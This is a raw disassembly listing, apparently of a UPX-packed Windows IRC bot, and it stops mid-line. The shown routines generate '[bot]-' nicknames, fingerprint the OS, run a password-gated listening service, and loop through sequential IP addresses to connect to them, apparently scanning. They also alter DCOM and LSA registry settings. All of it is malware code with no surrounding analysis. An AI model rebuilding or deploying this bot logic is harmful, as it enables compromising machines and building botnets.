eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_415674 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_415674 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call ds:dword_43C574 ; getpeername test eax, eax jz short loc_41556C call ds:dword_43C5AC ; WSAGetLastError push eax ; Args push offset dword_437900 ; Format call sub_40BFE3 push [ebp+arg_0] call sub_417064 add esp, 0Ch push edi call ds:dword_423050 loc_41556C: ; CODE XREF: sub_41546F+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call ds:dword_43C5D0 ; gethostbyaddr cmp eax, edi jnz short loc_415596 push [ebp+var_18] call ds:dword_43C6A4 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf jmp short loc_4155A4 ; --------------------------------------------------------------------------- loc_415596: ; CODE XREF: sub_41546F+10Dj push dword ptr [eax] ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy loc_4155A4: ; CODE XREF: sub_41546F+125j pop ecx pop ecx push edi push ebx push offset byte_4397BC push dword ptr [esi] call ds:dword_43C668 ; send cmp ds:dword_486D90, edi jnz short loc_415606 push [ebp+var_18] lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Args] push eax ; Args call sub_4156CE add esp, 10h test eax, eax jnz short loc_415606 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call ds:dword_43C668 ; send push dword ptr [esi] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call sub_417064 pop ecx push edi call ds:dword_423050 loc_415606: ; CODE XREF: sub_41546F+14Cj ; sub_41546F+16Dj lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset dword_4378B4 ; Format call sub_40BFE3 push [ebp+arg_0] call sub_4165B2 add esp, 10h test eax, eax jnz short loc_41564D call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_437878 ; Format call sub_40BFE3 push [ebp+arg_0] call sub_417064 add esp, 0Ch push ebx call ds:dword_423050 loc_41564D: ; CODE XREF: sub_41546F+1B9j lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset dword_437840 ; Format call sub_40BFE3 push [ebp+arg_0] call sub_417064 add esp, 10h push edi call ds:dword_423050 sub_41546F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415674 proc near ; CODE XREF: sub_41546F+9Ap ; sub_41546F+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call ds:dword_43C630 ; recv cmp eax, 1 jnz short loc_4156C4 mov esi, [ebp+arg_4] loc_415692: ; CODE XREF: sub_415674+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156B9 test al, al jz short loc_4156C8 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call ds:dword_43C630 ; recv cmp eax, 1 jz short loc_415692 jmp short loc_4156C4 ; --------------------------------------------------------------------------- loc_4156B9: ; CODE XREF: sub_415674+27j push offset dword_43793C ; Format call sub_40BFE3 pop ecx loc_4156C4: ; CODE XREF: sub_415674+19j ; sub_415674+43j xor eax, eax jmp short loc_4156CB ; --------------------------------------------------------------------------- loc_4156C8: ; CODE XREF: sub_415674+2Bj push 1 pop eax loc_4156CB: ; CODE XREF: sub_415674+52j pop esi leave retn sub_415674 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4156CE(char *Args,int,char *Str1) sub_4156CE proc near ; CODE XREF: sub_41546F+163p Args = dword ptr 4 arg_4 = dword ptr 8 Str1 = dword ptr 0Ch push [esp+Args] ; Str2 push [esp+4+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4156F9 push [esp+arg_4] push [esp+4+Args] ; Args push offset dword_437974 ; Format call sub_40BFE3 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_4156F9: ; CODE XREF: sub_4156CE+11j push 1 pop eax retn sub_4156CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156FD proc near ; DATA XREF: sub_40EE51+5603o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h Source = byte ptr -414h var_214 = dword ptr -214h Str = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call ds:dword_43C590 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_415756 push eax ; Args push offset dword_437B38 ; Format call sub_40BFE3 push [ebp+var_4C] call sub_417064 add esp, 0Ch push edi call ds:dword_423050 loc_415756: ; CODE XREF: sub_4156FD+3Aj push edi push offset loc_41597B call ds:dword_423174 ; SetConsoleCtrlHandler test eax, eax jnz short loc_41578F call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_437AE8 ; Format call sub_40BFE3 pop ecx pop ecx call ds:dword_43C578 ; WSACleanup push [ebp+var_4C] call sub_417064 pop ecx push edi call ds:dword_423050 loc_41578F: ; CODE XREF: sub_4156FD+67j push ebx push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_50] call ds:dword_43C618 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call ds:dword_43C698 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_415906 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov ds:dword_44207C[eax], ebx lea eax, [ebp+Dst] push eax push ebx call ds:dword_43C644 ; bind test eax, eax jnz loc_415906 push 7FFFFFFFh push ebx call ds:dword_43C640 ; listen test eax, eax jnz loc_415906 push offset dword_437A9C mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_40BF6F pop ecx mov [ebp+arg_0], edi loc_41581E: ; CODE XREF: sub_4156FD+15Aj ; sub_4156FD+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call ds:dword_43C6AC ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_415909 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call ds:dword_43C5F8 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_41581E movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset dword_437A48 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_40BF6F push edi ; int lea eax, [ebp+Source] push 6 ; int push eax ; Source call sub_416D48 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov ds:dword_442074[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_41546F lea eax, [ebp+var_10] push esi push eax call ds:dword_42309C mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov ds:dword_442084[ecx], eax jz short loc_4158F1 loc_4158DE: ; CODE XREF: sub_4156FD+1F2j cmp [ebp+var_38], esi jnz loc_41581E push 32h call ds:dword_423060 ; Sleep jmp short loc_4158DE ; --------------------------------------------------------------------------- loc_4158F1: ; CODE XREF: sub_4156FD+1DFj call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset dword_4379FC ; Format call sub_40BFE3 pop ecx pop ecx jmp short loc_415909 ; --------------------------------------------------------------------------- loc_415906: ; CODE XREF: sub_4156FD+C8j ; sub_4156FD+ECj ... mov edi, [ebp+arg_0] loc_415909: ; CODE XREF: sub_4156FD+13Cj ; sub_4156FD+207j call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Source] push offset dword_4379B8 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_415949 push esi ; int lea eax, [ebp+Source] push [ebp+var_40] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_40D670 add esp, 14h loc_415949: ; CODE XREF: sub_4156FD+22Aj lea eax, [ebp+Source] push eax call sub_40BF6F pop ecx push edi call ds:dword_43C6B0 ; closesocket push ebx call ds:dword_43C6B0 ; closesocket call ds:dword_43C578 ; WSACleanup push [ebp+var_4C] call sub_417064 pop ecx push esi call ds:dword_423050 pop ebx loc_41597B: ; DATA XREF: sub_4156FD+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_4156FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_415985(char *Dest) sub_415985 proc near ; CODE XREF: sub_415CF0+49p ; DATA XREF: UPX0:off_437B88o var_C = dword ptr -0Ch Dest = dword ptr 4 push esi push edi call ds:dword_423054 ; GetTickCount push eax call sub_4172EE mov edi, [esp+0Ch+Dest] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp ds:dword_42E5C4, esi jle short loc_4159DE loc_4159B8: ; CODE XREF: sub_415985+57j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, ds:dword_42E5C4 jl short loc_4159B8 loc_4159DE: ; CODE XREF: sub_415985+31j mov eax, edi pop edi pop esi retn sub_415985 endp ; =============== S U B R O U T I N E ======================================= sub_4159E3 proc near ; CODE XREF: sub_40EE51+3E86p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_423054 ; GetTickCount push eax call sub_4172EE pop ecx call _rand push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_42E5C4 test esi, esi jle short loc_415A26 loc_415A10: ; CODE XREF: sub_4159E3+41j call _rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A10 loc_415A26: ; CODE XREF: sub_4159E3+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159E3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_423054 ; GetTickCount push eax call sub_4172EE pop ecx lea eax, [ebp-8] mov esi, offset byte_437BE4 push eax push esi call ds:dword_423154 ; GetComputerNameA movsx eax, ds:byte_437BE4 push 41h pop ecx push 1 pop edx loc_415A6C: ; CODE XREF: UPX0:00415A77j cmp eax, ecx jnz short loc_415A73 mov [ebp-4], edx loc_415A73: ; CODE XREF: UPX0:00415A6Ej inc ecx cmp ecx, 5Bh jl short loc_415A6C push 61h pop ecx loc_415A7C: ; CODE XREF: UPX0:00415A87j cmp eax, ecx jnz short loc_415A83 mov [ebp-4], edx loc_415A83: ; CODE XREF: UPX0:00415A7Ej inc ecx cmp ecx, 7Bh jl short loc_415A7C mov edi, [ebp+8] push esi push 1Ch push edi call __snprintf xor esi, esi add esp, 0Ch cmp ds:dword_42E5C4, esi jle short loc_415AC8 loc_415AA2: ; CODE XREF: UPX0:00415AC6j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, ds:dword_42E5C4 jl short loc_415AA2 loc_415AC8: ; CODE XREF: UPX0:00415AA0j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_423054 ; GetTickCount push eax call sub_4172EE pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_423178 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_437BE8 push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp ds:dword_42E5C4, esi jle short loc_415B3D loc_415B17: ; CODE XREF: UPX0:00415B3Bj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, ds:dword_42E5C4 jl short loc_415B17 loc_415B3D: ; CODE XREF: UPX0:00415B15j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4397BC mov dword ptr [ebp-94h], 94h call ds:dword_423144 ; GetVersionExA call ds:dword_423054 ; GetTickCount push eax call sub_4172EE cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BC7 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BA7 cmp dword ptr [ebp-84h], 1 jnz short loc_415B97 mov esi, offset a95 ; "95" loc_415B97: ; CODE XREF: UPX0:00415B90j cmp dword ptr [ebp-84h], 2 jnz short loc_415C03 mov esi, offset aNt ; "NT" jmp short loc_415C03 ; --------------------------------------------------------------------------- loc_415BA7: ; CODE XREF: UPX0:00415B87j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BB7 mov esi, offset a98 ; "98" jmp short loc_415C03 ; --------------------------------------------------------------------------- loc_415BB7: ; CODE XREF: UPX0:00415BAEj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415BFE mov esi, offset aMe ; "ME" jmp short loc_415C03 ; --------------------------------------------------------------------------- loc_415BC7: ; CODE XREF: UPX0:00415B7Ej cmp dword ptr [ebp-90h], 5 jnz short loc_415BFE cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BE0 mov esi, offset a2k ; "2K" jmp short loc_415C03 ; --------------------------------------------------------------------------- loc_415BE0: ; CODE XREF: UPX0:00415BD7j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415BF0 mov esi, offset aXp ; "XP" jmp short loc_415C03 ; --------------------------------------------------------------------------- loc_415BF0: ; CODE XREF: UPX0:00415BE7j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_437BF4 jz short loc_415C03 loc_415BFE: ; CODE XREF: UPX0:00415BBEj ; UPX0:00415BCEj mov esi, offset a??? ; "???" loc_415C03: ; CODE XREF: UPX0:00415B9Ej ; UPX0:00415BA5j ... mov edi, [ebp+8] push esi push offset dword_437BEC push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp ds:dword_42E5C4, esi jle short loc_415C47 loc_415C21: ; CODE XREF: UPX0:00415C45j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, ds:dword_42E5C4 jl short loc_415C21 loc_415C47: ; CODE XREF: UPX0:00415C1Fj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415C4D(char *Dest) sub_415C4D proc near ; CODE XREF: sub_415CF0+5Cp Source = byte ptr -1Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_423054 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415C9C call ds:dword_43C624 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_415C85 mov eax, offset byte_4397BC loc_415C85: ; CODE XREF: sub_415C4D+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+Source] push 1Ch ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_415CBC ; --------------------------------------------------------------------------- loc_415C9C: ; CODE XREF: sub_415C4D+22j call ds:dword_43C624 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_415CB0 mov eax, offset byte_4397BC loc_415CB0: ; CODE XREF: sub_415C4D+5Cj push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx loc_415CBC: ; CODE XREF: sub_415C4D+4Dj lea eax, [ebp+Source] push eax ; Str call _strlen pop ecx cmp eax, 2 pop esi jbe short loc_415CEB push 1Ch ; Count lea eax, [ebp+Source] push [ebp+Dest] ; Source push eax ; Dest call _strncat lea eax, [ebp+Source] push 1Ch ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 18h loc_415CEB: ; CODE XREF: sub_415C4D+7Dj mov eax, [ebp+Dest] leave retn sub_415C4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415CF0(char *Dest,int,int,char *Str1) sub_415CF0 proc near ; CODE XREF: sub_40EB71+7Fp ; sub_40ECD9+50p ... Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str1 = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_437B84 loc_415CFC: ; CODE XREF: sub_415CF0+3Fj cmp [ebp+Str1], 0 jz short loc_415D17 lea eax, [esi-0Ch] push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D21 ; --------------------------------------------------------------------------- loc_415D17: ; CODE XREF: sub_415CF0+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D21: ; CODE XREF: sub_415CF0+25j test eax, eax jnz short loc_415D33 add esi, 14h inc edi cmp esi, offset dword_437BE8 jl short loc_415CFC jmp short loc_415D41 ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415CF0+33j push [ebp+Dest] ; Dest lea eax, [edi+edi*4] call ds:off_437B88[eax*4] pop ecx loc_415D41: ; CODE XREF: sub_415CF0+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D54 push [ebp+Dest] ; Dest call sub_415C4D pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D54: ; CODE XREF: sub_415CF0+57j mov eax, [ebp+Dest] pop ebp retn sub_415CF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D59 proc near ; DATA XREF: sub_415E26+7Bo var_B8 = dword ptr -0B8h Str = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_34] call ds:dword_43C618 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_43C698 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E17 lea eax, [ebp+Dst] push 10h push eax push esi call ds:dword_43C5C0 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_44207C[ecx], esi jz short loc_415E17 push [ebp+var_34] push [ebp+var_28] call ds:dword_43C6A4 ; inet_ntoa push eax mov edi, offset byte_486D98 push offset unk_437C04 ; Format push edi ; Dest call _sprintf push 0 ; int lea eax, [ebp+Str] push [ebp+var_20] ; int push edi ; int push eax ; Str push [ebp+var_B8] ; int call sub_40D670 push edi call sub_40BF6F add esp, 28h loc_415E17: ; CODE XREF: sub_415D59+5Dj ; sub_415D59+7Ej push esi call ds:dword_43C6B0 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_415D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; int __cdecl sub_415E26(int Dst) sub_415E26 proc near ; DATA XREF: sub_40EE51+35F7o Source = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h Src = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+Dst] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_423060 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_415E54: ; CODE XREF: sub_415E26+ECj push [ebp+var_2C] push [ebp+Src] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset unk_437C3C ; Format push eax ; Dest call _sprintf lea eax, [ebp+Source] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_441E70 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_415D59 push edi push edi call ds:dword_42309C cmp eax, edi mov [ebp+var_4], eax jz short loc_415EC0 loc_415EB5: ; CODE XREF: sub_415E26+98j cmp [ebp+var_C], edi jnz short loc_415EC0 push 32h call esi ; Sleep jmp short loc_415EB5 ; --------------------------------------------------------------------------- loc_415EC0: ; CODE XREF: sub_415E26+8Dj ; sub_415E26+92j push [ebp+var_4] call ds:dword_423074 push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+Src] push 4 ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call ds:dword_43C54C ; htonl inc eax push eax mov [ebp+Dst], eax call ds:dword_43C614 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src lea eax, [ebp+Src] push eax ; Dst call _memcpy add esp, 0Ch jmp loc_415E54 sub_415E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F17 proc near ; DATA XREF: sub_40EE51+5F5Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F5E call sub_415F77 jmp short loc_415F63 ; --------------------------------------------------------------------------- loc_415F5E: ; CODE XREF: sub_415F17+3Ej call sub_41629B loc_415F63: ; CODE XREF: sub_415F17+45j add esp, 10h push [ebp+var_14] call sub_417064 pop ecx push 0 call ds:dword_423050 sub_415F17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F77 proc near ; CODE XREF: sub_415F17+40p Dest = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_43C6E8, edi jnz loc_4160A9 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_43C688 ; RegOpenKeyExA test eax, eax jnz short loc_416002 mov ax, ds:word_437FEC mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_43C63C ; RegSetValueExA test eax, eax jz short loc_415FE4 push offset unk_437FAC jmp short loc_415FE9 ; --------------------------------------------------------------------------- loc_415FE4: ; CODE XREF: sub_415F77+64j push offset dword_437F80 ; Format loc_415FE9: ; CODE XREF: sub_415F77+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey jmp short loc_416015 ; --------------------------------------------------------------------------- loc_416002: ; CODE XREF: sub_415F77+36j lea eax, [ebp+Dest] push offset unk_437F40 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416015: ; CODE XREF: sub_415F77+89j cmp [ebp+arg_C], edi jnz short loc_416034 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_416034: ; CODE XREF: sub_415F77+A1j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_43C688 ; RegOpenKeyExA test eax, eax jnz short loc_4160A2 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], 1 call ds:dword_43C63C ; RegSetValueExA test eax, eax jz short loc_416084 push offset unk_437EE0 jmp short loc_416089 ; --------------------------------------------------------------------------- loc_416084: ; CODE XREF: sub_415F77+104j push offset unk_437E9C ; Format loc_416089: ; CODE XREF: sub_415F77+10Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey jmp short loc_4160BC ; --------------------------------------------------------------------------- loc_4160A2: ; CODE XREF: sub_415F77+E2j push offset unk_437E50 jmp short loc_4160AE ; --------------------------------------------------------------------------- loc_4160A9: ; CODE XREF: sub_415F77+13j push offset unk_437E10 ; Format loc_4160AE: ; CODE XREF: sub_415F77+130j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_4160BC: ; CODE XREF: sub_415F77+129j cmp [ebp+arg_C], edi jnz short loc_4160DB push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_4160DB: ; CODE XREF: sub_415F77+148j lea eax, [ebp+Dest] push eax call sub_40BF6F cmp ds:dword_43C710, edi pop ecx jnz loc_416256 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_4160FE: ; CODE XREF: sub_415F77+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+Str] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_43C564 cmp eax, edi mov [ebp+var_10], eax jz short loc_41619B cmp eax, 0EAh jz short loc_41619B mov esi, offset off_437C78 loc_41612F: ; CODE XREF: sub_415F77+21Dj push dword ptr [esi] push edi call sub_40DCC1 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416146 push offset unk_437DDC jmp short loc_41614B ; --------------------------------------------------------------------------- loc_416146: ; CODE XREF: sub_415F77+1C6j push offset unk_437DA0 ; Format loc_41614B: ; CODE XREF: sub_415F77+1CDj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41617E push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_41617E: ; CODE XREF: sub_415F77+1EBj lea eax, [ebp+Dest] push eax call sub_40BF6F add esi, 8 pop ecx cmp esi, offset dword_437C98 jl short loc_41612F jmp loc_416233 ; --------------------------------------------------------------------------- loc_41619B: ; CODE XREF: sub_415F77+1AAj ; sub_415F77+1B1j mov esi, dword ptr [ebp+Str] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41622A loc_4161AA: ; CODE XREF: sub_415F77+2AFj mov edi, [esi] push edi ; Str call _wcslen cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41621F push edi call sub_40DBAE push eax push 0 call sub_40DCC1 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161D9 push offset unk_437D6C jmp short loc_4161DE ; --------------------------------------------------------------------------- loc_4161D9: ; CODE XREF: sub_415F77+259j push offset unk_437D30 ; Format loc_4161DE: ; CODE XREF: sub_415F77+260j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416212 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_416212: ; CODE XREF: sub_415F77+27Fj lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx loc_41621F: ; CODE XREF: sub_415F77+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161AA xor edi, edi loc_41622A: ; CODE XREF: 